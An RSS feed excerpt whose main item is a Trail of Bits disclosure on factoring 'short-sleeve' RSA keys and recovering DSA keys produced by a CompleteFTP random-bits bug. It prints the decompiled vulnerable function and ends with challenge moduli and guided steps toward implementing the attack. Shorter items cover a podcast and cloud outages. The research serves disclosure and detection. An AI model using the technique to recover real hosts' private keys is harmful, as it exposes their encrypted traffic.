<content:encoded><![CDATA[<img width="1260" height="709" src="https://cdn.geekwire.com/wp-content/uploads/2026/06/ppt2-1260x709.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/06/ppt2-1260x709.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/06/ppt2-768x432.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/06/ppt2.jpg 1280w" sizes="(max-width: 1260px) 100vw, 1260px"><br>John Cook and Charles Fitzgerald call into the podcast from an abandoned Westinghouse factory in Cleveland to debrief on a Rust Belt city's comeback and what Seattle can learn from it. Plus: the new data center moratorium, and why Fitzgerald is sitting out the SpaceX IPO. <a href="https://www.geekwire.com/2026/following-through-in-cleveland-a-geekwire-trip-report-plus-data-center-theater-and-the-spacex-ipo/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Factoring "short-sleeve" RSA keys with polynomials]]></title>
<description><![CDATA[What happens when the bits of an RSA private key are heavily biased toward 0 instead of being randomly generated? The public key’s bits could be biased enough for us to detect these incorrectly generated keys in the wild. Together with Hanno Böck of the badkeys project, we found hundreds of uniqu...]]></description>
<link>https://tsecurity.de/de/3593284/it-security-nachrichten/factoring-short-sleeve-rsa-keys-with-polynomials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593284/it-security-nachrichten/factoring-short-sleeve-rsa-keys-with-polynomials/</guid>
<pubDate>Fri, 12 Jun 2026 13:28:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>What happens when the bits of an RSA private key are heavily biased toward 0 instead of being randomly generated? The public key’s bits could be biased enough for us to detect these incorrectly generated keys in the wild. Together with Hanno Böck of the <a href="https://badkeys.info/">badkeys</a> project, we found hundreds of unique keys that not only have this property, but can be quickly factored. We also found the bug that led to many of these keys and analyzed historical data to track the issue over time. Surprisingly, the pattern of 0 bits is often highly structured, allowing us to develop a powerful polynomial-based cryptanalytic technique that exploits the pattern.</p>
<p>




 

 




 


 <figure>
 <img src="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/shortsleevekeys_figure1_hu_49c6698c7e83848f.webp" alt="Figure 1: Two patterns of RSA moduli with repeated blocks of 0 bits seen in real-world examples." width="910" height="362" loading="lazy" decoding="async">
 <figcaption>Figure 1: Two patterns of RSA moduli with repeated blocks of 0 bits seen in real-world examples.</figcaption>
 </figure>
</p>
<p>These “short-sleeve” keys, named for how the 0 bits don’t fully cover the limbs of the big integers, largely fell into two patterns. Pattern 1 remains unexplained, but we traced pattern 2 to a type mismatch in big-integer code from old versions of the CompleteFTP file transfer software. The CompleteFTP bug also generated vulnerable short-sleeve DSA keys, and we recovered 603 unique RSA private keys and 74 DSA keys from internet scans. If you used CompleteFTP to generate host keys between December 2016 and December 2023, CompleteFTP has released a <a href="https://enterprisedt.com/downloads/KeyChecker.zip">tool</a> to check whether your keys need to be regenerated.</p>
<h2>How we found the weak keys</h2>
<p>The badkeys project is an open-source service that checks public keys for known vulnerabilities. While developing this tool, Hanno collected a massive number of real-world keys from public sources, including Certificate Transparency logs, internet-wide TLS and SSH scans, PGP keys, and many others. By searching this dataset for unexpectedly sparse RSA moduli, we uncovered a large number of keys in the wild with the patterns in Figure 1.</p>
<p>Both patterns include several regularly spaced blocks of all zeros interleaved with seemingly random data. Pattern 1 appears in CT logs for certificates issued to several large organizations, including <a href="https://crt.sh/?id=375717364">Yahoo</a> and <a href="https://crt.sh/?id=14320619439">Verizon</a>, and on some devices running NetApp software. Fortunately, these certificates have already expired, but we still shared our findings with these companies. We wanted to learn more about which product could be responsible for generating these keys, but we did not hear back. Pattern 2 appears on SSH hosts running the CompleteFTP software from EnterpriseDT. The underlying vulnerability affects RSA keys generated using versions 10.0.0–12.0.0 (Dec 2016–Mar 2019) and DSA keys generated with v10.0.0–23.0.4 (Dec 2016–Dec 2023).</p>
<p>These vulnerabilities affect a small minority of hosts on the internet, but the more interesting takeaway is that independent cryptographic implementations failed in similar ways. More implementations may include the same bugs, and so it’s worth tailoring cryptanalytic algorithms for this particular type of failure.</p>
<h2>Factoring with polynomials</h2>
<p>Cryptographic algorithms often need integers hundreds or thousands of bits long, and they represent these “big integers” using an array of smaller machine-sized values, called <em>limbs</em>. If we interpret pattern 1 as a sequence of 128-bit limbs, or 32-bit limbs in pattern 2, the repeated blocks of zeros correspond to a single block of zeros in each limb. Only a small contiguous subset of the limb is filled with random bits, and the rest of the limb is uncovered, hence the nickname “short-sleeve keys.”</p>
<p>By exploiting this mathematical structure in the limbs of these moduli, we replace the hard problem of factoring integers with the easy problem of factoring polynomials. That is, we take the modulus $n$ with unknown factors $p$ and $q$, express it as a polynomial $f_n(x)$ with small coefficients, factor $f_n(x)$ into $f_p(x)$ and $f_q(x)$, and convert these factors into $p$ and $q$. The technique of converting between integers and polynomials is common, including doing <a href="https://en.wikipedia.org/wiki/Kronecker_substitution">fast polynomial multiplication</a>, but sadly, few resources <a href="https://groups.google.com/a/mozilla.org/g/dev-security-policy/c/o2_vKIslDBc/m/iz7yNMy_AAAJ">describe</a> how to use it for fast integer factorization.</p>
<p>In particular, we use the digits in the base-$B$ representation of the integer to set the coefficients of the polynomial. In the normal base-10 representation, this involves replacing powers of 10 with powers of $x$, and then converting a polynomial back to an integer involves replacing powers of $x$ with powers of 10. Mathematically, the base-$B$ representation of an integer $a = \sum_i a_i B^i$ corresponds to the polynomial $f_a(x) = \sum_i a_i x^i$, and the polynomial evaluation $a = f_a(B)$ converts back to an integer. For short-sleeve keys, the base corresponds to the limb size, and the extra zero bits in each limb will lead to polynomials with exceptionally small coefficients.</p>
<p>




 

 




 


 <figure>
 <img src="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/shortsleevekeys_figure2_hu_9d95cd1ea06ffa6c.webp" alt="Figure 2: Integers with blocks of 0 bits can be represented as polynomials with small coefficients." width="834" height="120" loading="lazy" decoding="async">
 <figcaption>Figure 2: Integers with blocks of 0 bits can be represented as polynomials with small coefficients.</figcaption>
 </figure>
</p>
<p>This method of representing integers with polynomials is useful because the product of evaluations $f_a(B) * f_c(B)$ equals the evaluation of the product $(f_a*f_c)(B)$. All evaluation does is replace $x$ with $B$, so it doesn’t matter if this happens before or after multiplication. The same is true of addition.<sup><a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>For a short-sleeve RSA modulus $n$ with $w$-bit limbs, we can use the base-$2^w$ representation to find a polynomial $f_n(x)$ with exceptionally small coefficients. If $f_p(x)$ and $f_q(x)$ also have exceptionally small coefficients, then $f_n(x) = f_p(x) * f_q(x)$. Note that for correctly generated prime factors, $f_p(x)$ and $f_q(x)$ will typically have $w$-bit coefficients; that’s why this attack doesn’t work in general.</p>
<p><a href="https://en.wikipedia.org/wiki/Factorization_of_polynomials#Factoring_univariate_polynomials_over_the_integers">Factoring polynomials</a> is easy, so we can factor $f_n(x)$ to get $f_p(x)$ and $f_q(x)$, then evaluate these factors at $2^w$ to get $p$ and $q$. This is the basic version of the attack, but I’m intentionally omitting a key insight needed to factor these real-world moduli. A full explanation is at the end of this blog.</p>
<p>




 

 




 


 <figure>
 <img src="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/shortsleevekeys_figure3_hu_2438a334e3fbc87c.webp" alt="Figure 3: Special-form polynomials can be factored to reveal the RSA private key." width="944" height="239" loading="lazy" decoding="async">
 <figcaption>Figure 3: Special-form polynomials can be factored to reveal the RSA private key.</figcaption>
 </figure>
</p>
<p>The correspondence between integers and polynomials makes it easy to factor these special form moduli, but interestingly, it helps factor general RSA moduli as well. The General Number Field Sieve (GNFS) algorithm has the best known asymptotic performance, and the <a href="https://members.loria.fr/PZimmermann/talks/rsa250-prace.pdf">first step</a> is defining a number field by selecting a polynomial $f_n(x)$ and evaluation point $m$ such that $f_n(m) = n$.<sup><a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h2>Reverse engineering the CompleteFTP vulnerability</h2>
<p>After applying this technique to the keys that Hanno found, we found that the private factors are indeed short-sleeved: the prime factors have large, regularly spaced blocks of unset bits. The SSH banners for the hosts with the second pattern indicate they use the CompleteFTP software, so we reverse-engineered a trial version to determine what caused the vulnerable keys.</p>
<p>Dynamically generated RSA keys did not have the short-sleeve pattern<sup><a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>, so we used the <a href="https://github.com/icsharpcode/ilspy">ILSpy</a> tool to decompile the .NET code in the demo binary. After some reverse engineering, we found the bug that generated the short-sleeve keys. The following function fills the big integer represented by <code>bignumLimbs</code> with a randomly generated value of the desired bit length. See if you can spot the problem.</p>
<figure class="highlight">
 <pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="kd">public</span> <span class="k">void</span> <span class="n">genRandomBits</span><span class="p">(</span><span class="kt">int</span> <span class="n">bits</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> 	<span class="c1">// Calculate the number of limbs</span>
</span></span><span class="line"><span class="cl"> 	<span class="kt">int</span> <span class="n">numLimbs</span> <span class="p">=</span> <span class="n">bits</span> <span class="p">/</span> <span class="m">32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> 	<span class="c1">// Allocate space for the RNG output</span>
</span></span><span class="line"><span class="cl"> 	<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">numLimbs</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> 	<span class="c1">// Call the system RNG</span>
</span></span><span class="line"><span class="cl"> 	<span class="n">rngProvider</span><span class="p">.</span><span class="n">GetNonZeroBytes</span><span class="p">(</span><span class="n">array</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> 	<span class="c1">// Copy to the limbs of the big number</span>
</span></span><span class="line"><span class="cl"> 	<span class="n">Array</span><span class="p">.</span><span class="n">Copy</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">bignumLimbs</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">numLimbs</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> 	<span class="c1">// Set the top bit to ensure proper bit length</span>
</span></span><span class="line"><span class="cl"> 	<span class="n">bignumLimbs</span><span class="p">[</span><span class="n">numLimbs</span> <span class="p">-</span> <span class="m">1</span><span class="p">]</span> <span class="p">|=</span> <span class="m">0x80000000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> 	<span class="c1">// Store the length</span>
</span></span><span class="line"><span class="cl"> 	<span class="n">dataLength</span> <span class="p">=</span> <span class="n">numLimbs</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre>
 <figcaption><span>Figure 4: Decompiled code for the vulnerable genRandomBits in CompleteFTP. Several branches have been removed for clarity, and comments are added.</span></figcaption>
</figure>
<p>There’s a mismatch between the size of the limbs and the size of the RNG output! Each limb requires 32 bits of random material, but <code>Array.Copy</code> <a href="https://learn.microsoft.com/en-us/dotnet/api/system.array.copy?view=netframework-4.8.1">implicitly casts</a> each 8-bit element of the RNG output to its own element of the big-integer limbs. The repeating structure in the short-sleeve keys is because the issue affects each limb, and the 0 bits are because too small of a value is copied to each limb. This exactly matches the pattern of the cryptanalyzed keys.</p>
<p>We also figured out why our dynamic testing did not generate broken keys: the <code>genRandomBits</code> function was compiled in but unreachable in the latest version. Older versions used custom-written key-generation code that called this vulnerable function, which was later refactored to use standard .NET crypto APIs.</p>
<p>We reverse-engineered an older version of the CompleteFTP software to look for other calls to <code>genRandomBits</code> and found that DSA key generation was also affected. The 160-bit DSA private key $x$ was previously generated by this function, and the public key and parameters include a generator $g$ and target $y = g^x$. The private key is easily <a href="https://en.wikipedia.org/wiki/Baby-step_giant-step">recoverable</a>, and once we knew what to look for, we found vulnerable DSA keys in the wild as well.<sup><a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></p>
<p>Since v12.1.0, CompleteFTP generates RSA keys using .NET’s <code>RSACryptoServiceProvider</code>, and since v23.1.0, it generates DSA keys using the <code>DSA.Create</code> API.</p>
<h2>How the vulnerability spread, and how it was contained</h2>
<p>The decision to refactor key-generation code to use standard libraries significantly mitigated the scope of the impact. This is actually reflected in the data. Prof. Nadia Heninger has a large collection of historical and contemporary SSH scans that we used to find <a href="https://eprint.iacr.org/2023/1711">broken SSH RSA signatures</a>, so I checked to see whether it included CompleteFTP hosts. There were typically hundreds of CompleteFTP hosts in each IPv4-wide scan, and after aligning the historical scans to the release history, the trend is clear.</p>
<p>




 

 




 


 <figure>
 <img src="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/shortsleevekeys_figure5_hu_5c586f6d854f2cbb.webp" alt="Figure 5: Over time, fewer CompleteFTP hosts run the vulnerable software, but a significant fraction still use vulnerable keys." width="1200" height="450" loading="lazy" decoding="async">
 <figcaption>Figure 5: Over time, fewer CompleteFTP hosts run the vulnerable software, but a significant fraction still use vulnerable keys.</figcaption>
 </figure>
</p>
<p>Starting with the introduction of the RSA vulnerability in December 2016, there was a consistent increase in the number of hosts with vulnerable keys, and once the rewritten RSA code was released in March 2019, this trend immediately stopped. However, even though the number of hosts running an affected version has steadily decreased since then, the proportion of affected keys has plateaued, consistent with customers who regularly update their software but generate their keys only once.</p>
<p>The EnterpriseDT team was very responsive throughout disclosure. To help these users, EnterpriseDT released v26.1.0 of <a href="https://enterprisedt.com/products/completeftp/">CompleteFTP</a> on May 8, 2026; this update automatically checks if the system is using a vulnerable RSA or DSA key and alerts the user if the key needs to be regenerated. They also released a <a href="https://enterprisedt.com/downloads/KeyChecker.zip">standalone tool</a> that does the same. In addition, the badkeys <a href="https://badkeys.info/">website</a> and standalone <a href="https://github.com/badkeys/badkeys">tool</a> now support the detection of vulnerable short-sleeve RSA keys.</p>
<p>In total, we recovered private keys for 603 unique RSA public keys and 74 DSA keys generated by vulnerable versions of CompleteFTP, and 26 RSA keys with the unidentified short-sleeve pattern. Our data sources are heavily biased toward RSA SSH keys, so these numbers do not reflect the actual prevalence.</p>
<h2>The search for more short-sleeve keys</h2>
<p>Unfortunately, we do not have more information about short-sleeve pattern 1, nor do we know whether that vulnerability extends to other key types. It’s common for cryptanalytic algorithms to exploit knowledge of <em>irregularly</em> spaced blocks of known bits (including ECDSA<sup><a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> and RSA<sup><a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>), but the regular spacing of short-sleeve leakage adds new structure, and there may be powerful variants of these algorithms that can exploit this property. If this type of leakage appears in two independent implementations of RSA, there are likely to be even more examples of short-sleeve keys out there.</p>
<p>In this instance, the impact of the vulnerabilities is fortunately limited, but it illustrates the power of practical research. The process of using known vulnerabilities to inspire more capable algorithms and using these algorithms to uncover new vulnerabilities generates a powerful feedback loop in cryptanalysis. It helps us understand how real cryptographic systems fail in practice, and it is only by observing how systems break that we learn how to make them more secure.</p>
<h2>Acknowledgments</h2>
<p>Thank you to Nadia Heninger for introducing me to Hanno and for letting me use the SSH scans for this project. Those scans consist of historical data from Censys and the University of Michigan provided by Zakir Durumeric and contemporary data and analysis scripts from Kevin He and George Sullivan.</p>
<h2>Appendix</h2>
<p>This final section is intended for those who want to implement the attack or write a proof that the attack works. I left out key details from the main post, but the following guided questions will help you close that gap. First, here are the full moduli for you to factorize. They are synthetically generated, but follow the same pattern as keys in the wild. The factors of $n_2$ were generated by calling <code>genRandomBits(1024)</code> in a loop until the result was prime.</p>
<figure class="highlight">
 <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">n_1=0xc889f7ef523b08e400000000000000014d2ee8284c7a03c000000000000000012c16eeaeab96ddc8000000000000000201036d671407a06600000000000000022f743377005a840d0000000000000001e8e3c0efdd8054ba000000000000000306ee98c677dfdf190000000000000002de525d2b1011ceae0000000000000424455c59eec3a0654500000000000003f8d762d68bcbe8cc3a00000000000000d31291f9aaa7e9a7d60000000000000337a82a59342aadff570000000000000295c495b3690a69b66c00000000000000d9c5e55654e9b14cba000000000000040f0f0f7d3bfdce03d6000000000000026b89ac77db000000000000000000036a77
</span></span><span class="line"><span class="cl">n_2=0x40000049000014ac8000900e00010ec58000b17b8001e0720001be890002169f80029cd5000349190003cd4480037c8c000397660003b28300041021000418cb00058a210004c2708004924980053b8780051cbd8005ebe80006bb27800765e6800651478007f62300073949800860950008614d800863988008d103800884c100099a260009a6d90009578f0007e84300080db800072e59000724f10007c0ec0006ec6600062231000605930005ca4c000566cc0005da92000574dd00040bf1000457dc0004cfbe0004c5640003fe6d0003ada60002de110002cbb30002d5a6000243840001cdf40001a8a9000151be000113f4000101070000acdf000029e5</span></span></code></pre>
</figure>
<ol>
<li>If you compute $f_{n_2}(x)$ using $B=2^{32}$, some of the coefficients are large. Why is that? Is it true that all of the coefficients of $f_p(x)$ and $f_q(x)$ are small?</li>
<li>Is there a bit shift $p \ll i$ such that $f_{2^i p}(x)$ has small coefficients? This is the key trick needed to turn arbitrary short-sleeve values into polynomials with small coefficients.</li>
<li>If $f_{2^i p}(x)$ and $f_{2^j q}(x)$ have small coefficients, can you still compute $f_{2^i p}(x)*f_{2^j q}(x)$ from public information? Can you still recover $p$ and $q$?</li>
<li>If this polynomial factorization technique worked for every $p$ and $q$, then RSA would be broken. Why is the short-sleeve property important, and why doesn’t this factorization method work in general? What are the limits?</li>
<li>The short-sleeve property allows us to construct the product $f_{2^i p}(x)*f_{2^j q}(x)$, but unless $f_{2^i p}(x)$ and $f_{2^j q}(x)$ are irreducible, factorization may split this into more than two terms. Prove that there is always an efficient way to recover $p$ and $q$ from the polynomial factorization.</li>
</ol>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li>
<p>In math terms, the evaluation map is a ring homomorphism. <a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fnref:1" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>
<li>
<p>More accurately, modern factoring implementations use a generalization of this technique. They search for a pair of polynomials $f_0, f_1$ where $f_1$ is linear and $Resultant(f_0, f_1)$ is a small multiple of $n$. In the special case where $f_1$ is monic, then $Resultant(f_0, x - m) = n \Leftrightarrow f_0(m) = n$. <a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fnref:2" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>
<li>
<p>CompleteFTP RSA key generation on Linux had a separate issue where the private exponent was set to 65537 and the public exponent was large. We disclosed, and this issue was fixed in v26.0.2. The Linux version of the tool offers <a href="https://enterprisedt.com/products/completeftp/editions/">different features</a> and is less popular than Windows. According to license data from EnterpriseDT, they believe no production users are affected by this issue. Our scans corroborate this claim, as we found no keys in the wild with this property. <a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fnref:3" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>
<li>
<p>Diffie-Hellman key exchange also used the vulnerable function, but with a 2048-bit exponent. This is not vulnerable, and we believe that DH key exchanges that used this function are still cryptographically secure. <a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fnref:4" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>
<li>
<p><a href="https://doi.org/10.1007/978-3-540-74462-7_9">Extended Hidden Number Problem and Its Cryptanalytic Applications</a> by Hlaváč and Rosa considers the problem of (EC)DSA nonces with multiple blocks of unknown bits at arbitrary locations. <a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fnref:5" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>
<li>
<p><a href="https://doi.org/10.1007/978-3-540-89255-7">Solving Linear Equations Modulo Divisors: On Factoring Given Any Bits</a> by Herrmann and May considers factoring RSA when one of the factors has multiple contiguous blocks of unknown bits. <a href="https://blog.trailofbits.com/2026/06/12/factoring-short-sleeve-rsa-keys-with-polynomials/#fnref:6" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>
</ol>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why cloud outages are such a stubborn problem]]></title>
<description><![CDATA[For years, the cloud market has made a simple promise: Move workloads to large-scale platforms, gain better resilience, and worry less about downtime. That promise was never entirely wrong, but it is becoming less complete. The latest findings from Uptime Institute’s seventh Annual Outage Analysi...]]></description>
<link>https://tsecurity.de/de/3592997/ai-nachrichten/why-cloud-outages-are-such-a-stubborn-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592997/ai-nachrichten/why-cloud-outages-are-such-a-stubborn-problem/</guid>
<pubDate>Fri, 12 Jun 2026 11:34:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For years, the cloud market has made a simple promise: Move workloads to large-scale platforms, gain better resilience, and worry less about downtime. That promise was never entirely wrong, but it is becoming less complete. The latest findings from <a href="https://uptimeinstitute.com/resources/research-and-reports/annual-outage-analysis-2025">Uptime Institute’s seventh Annual Outage Analysis</a> suggest that the outage landscape is changing in ways that should concern both cloud providers and cloud customers. The biggest risks are no longer limited to broken physical infrastructure. They are increasingly tied to the complexity of the systems used to run, coordinate, update, and recover that infrastructure.</p>



<p>The most alarming number in the report is that IT and networking issues accounted for 23% of impactful outages in 2024. Uptime Institute links these increases to growing IT and network complexity; the long-term shift toward colocation, cloud, and third-party digital services; and the resulting increase in change-management failures and misconfigurations. That number is more than a statistical footnote. It points to a structural change in how outages happen and why cloud outages are becoming such a stubborn problem.</p>



<p>Hardware redundancy can protect against component failures, but it doesn’t help much when the outage stems from a bad configuration, an automation error, a faulty network change, or an underappreciated control-plane dependency. In those cases, the infrastructure itself may remain intact while the system that governs it breaks down. The industry is learning that <a href="https://www.networkworld.com/article/967679/what-is-disaster-recovery-how-to-ensure-business-continuity.html">resiliency</a> is less about duplicating equipment and more about managing complexity. Today’s increasingly distributed and software-defined environments cannot operate safely at scale.</p>



<h2 class="wp-block-heading">Failures at the operational level</h2>



<p>Uptime’s findings show that power remains the leading cause of major outages, underscoring that traditional infrastructure engineering still matters a great deal. But even as providers continue to improve physical resilience, outages can still arise from the digital and procedural layers above it. Cloud platforms are now dense stacks of services, <a href="https://www.infoworld.com/article/2269032/what-is-an-api-application-programming-interfaces-explained.html">APIs</a>, orchestration systems, software-defined networks, <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity controls</a>, failover logic, and third-party dependencies. That complexity creates more possible points of interaction and more opportunities for an error in one layer to cascade into several others.</p>



<p>This helps explain why outages can feel more surprising today than they did a decade ago. In older data center models, an outage often had a more apparent root cause, such as a power event, a cooling failure, or a hardware fault. In cloud environments, the trigger may be a small configuration change that propagates across regions, a policy update that unintentionally blocks service communication, or a network control failure that affects seemingly unrelated services. These are not failures of raw infrastructure capacity. They are failures of complexity management.</p>



<p>The report’s language around change management and misconfiguration is especially important because it challenges one of the most common assumptions in the cloud market: that scale automatically produces better operational outcomes. The reality? Scale can magnify both strengths and weaknesses. Large cloud providers have more engineering talent, more sophisticated tools, and more redundancy than almost any enterprise customer. But they also run far more interconnected systems at far greater speeds with far more automation. A single process failure can have a wider blast radius.</p>



<p>Another important lesson from the Uptime analysis is that automation has not removed the human factor. If anything, it has changed its form. Even in highly automated environments, human error remains central to the problem. The report notes that in 2025, the share of outages caused by human failure to follow procedures rose by 10 percentage points compared with 2024. A related industry summary of the report notes that 58% of human error-related outages were caused by staff failing to follow established procedures.</p>



<p>That matters because cloud providers often position automation as the answer to reliability. Automation is essential, but it only works as well as the operational model that surrounds it. If teams deploy changes too quickly, rollback paths are weak, approval chains are bypassed, or procedures are incomplete, automation can accelerate failure rather than prevent it. In a modern cloud environment, a human mistake is rarely just a single keystroke. It is more often a design weakness in process, governance, testing, or accountability.</p>



<p>This is also why customers should resist the comforting notion that outages are somebody else’s problem once workloads move to the cloud. Provider-side mistakes remain real, but customer architectures are increasingly entangled with provider networking, identity, observability, and platform services. When an outage occurs, the customer may not have caused it, but they still bear the business impact. The shared responsibility model does not end with security. It extends to resilience planning as well.</p>



<h2 class="wp-block-heading">Better change management</h2>



<p>The Uptime data points to a clear conclusion: Cloud providers need to treat operational discipline as a first-class design requirement. That starts with better change management. High-risk changes should be tested more aggressively, staged more gradually, and accompanied by stronger rollback mechanisms. Providers also need better dependency mapping to understand how a change in one control layer can affect services far beyond its immediate scope. If the system is too complex to clearly explain, it is too complex to operate.</p>



<p>Providers also need to improve procedural quality. The rise in outages caused by failing to follow procedures suggests that procedures are being ignored under operational pressure or that they are too cumbersome, outdated, or unclear for real production conditions. Neither explanation is comforting. Stronger runbooks, better training, more realistic failure drills, and tighter operational guardrails are not glamorous investments; they are increasingly central to resilience.</p>



<p>Another pressure point is visibility. Uptime notes that software-based and distributed resiliency tools can improve availability, but they also introduce new risks and complicate root-cause analysis. Cloud providers need more transparent and faster incident diagnosis, not just more layers of abstraction. Customers cannot build trust in resilience if every major incident becomes a long exercise in reconstructing opaque service dependencies after the fact.</p>



<h2 class="wp-block-heading">Design with outages in mind</h2>



<p>What’s the financial impact of more frequent problems? Uptime’s 2024 analysis found that 54% of respondents reported that their most recent significant outage cost more than $100,000, and 20% said it cost more than $1 million. These are not edge-case losses. They show that outages remain costly even if they are less frequent than in earlier years.</p>



<p>Customers need to stop evaluating cloud resilience through uptime promises and start evaluating it through failure behavior. How does a provider isolate faults? How transparent is incident communication? How portable are workloads if a major service degrades? How dependent is the architecture on a single region, network path, identity service, or control plane? These are not just technical questions; they are now critical business questions.</p>



<p>The core lesson from Uptime’s data is simple. Outages are becoming a bigger problem for cloud providers and customers because the cloud’s biggest vulnerabilities are increasingly tied to complexity, process failures, and control-plane mistakes, not just broken infrastructure. In addition to adding redundancy, the next phase of cloud improvement will focus on building systems that are easier to understand, safer to change, and more disciplined to operate.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI is exposing the biggest weakness in cybersecurity: We never built a health model. Until now!]]></title>
<description><![CDATA[For 30 years, cybersecurity has operated like an emergency room.



Reactive. Crisis-driven. Always triaging. We are extraordinarily good at it — our detection is faster, our response playbooks are sharper, our incident teams are more capable than they have ever been. When something goes wrong, t...]]></description>
<link>https://tsecurity.de/de/3592939/it-security-nachrichten/ai-is-exposing-the-biggest-weakness-in-cybersecurity-we-never-built-a-health-model-until-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592939/it-security-nachrichten/ai-is-exposing-the-biggest-weakness-in-cybersecurity-we-never-built-a-health-model-until-now/</guid>
<pubDate>Fri, 12 Jun 2026 11:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For 30 years, cybersecurity has operated like an emergency room.</p>



<p>Reactive. Crisis-driven. Always triaging. We are extraordinarily good at it — our detection is faster, our response playbooks are sharper, our incident teams are more capable than they have ever been. When something goes wrong, the modern security organization runs toward the fire with real skill.</p>



<p>But here is the uncomfortable truth that artificial intelligence is now forcing into the open: An emergency room does not produce a healthy population. Healthcare does that — through prevention, continuous monitoring, early diagnosis and a model of the whole patient.</p>



<p>Cybersecurity never built that model. We built the trauma bay and called it a profession.</p>



<p>For a long time, we got away with it. The threat environment moved at human speed. The gaps in our thinking were survivable. AI has ended that grace period. It has not created a new weakness so much as it has illuminated the oldest one — and it is now moving faster than our reactive posture can absorb.</p>



<p>We do not have a tooling problem. We have a missing-model problem. And until we name it, no amount of investment will fix it.</p>



<h2 class="wp-block-heading">We’ve been asking — and answering — the wrong question</h2>



<p>Walk into almost any boardroom and you will hear the same exchange. A director asks the CISO: “Are we secure?”</p>



<p>It is the wrong question, and most of us have known it for years.</p>



<p>“Secure” is binary. It is a snapshot. It is a yes-or-no answer to something that is actually a living, continuously changing condition. No physician would accept that question from a patient. A doctor does not ask “Are you healthy?” and expect a useful answer. They ask a better set of questions: How are you functioning? What do the vital signs say? What is trending in the wrong direction? What needs attention now, before it becomes a crisis?</p>



<p>Cybersecurity has never adopted that mindset because it never had the model that requires it. We have frameworks for controls. We have frameworks for adversary behavior. We have no widely adopted framework for organizational health — for whether the enterprise, as a whole living system, is well.</p>



<p>That gap was tolerable when threats were slow. It is not tolerable now.</p>



<h2 class="wp-block-heading">Why AI breaks the reactive model</h2>



<p>AI changes three things at once, and each one punishes a reactive posture specifically.</p>



<ul class="wp-block-list">
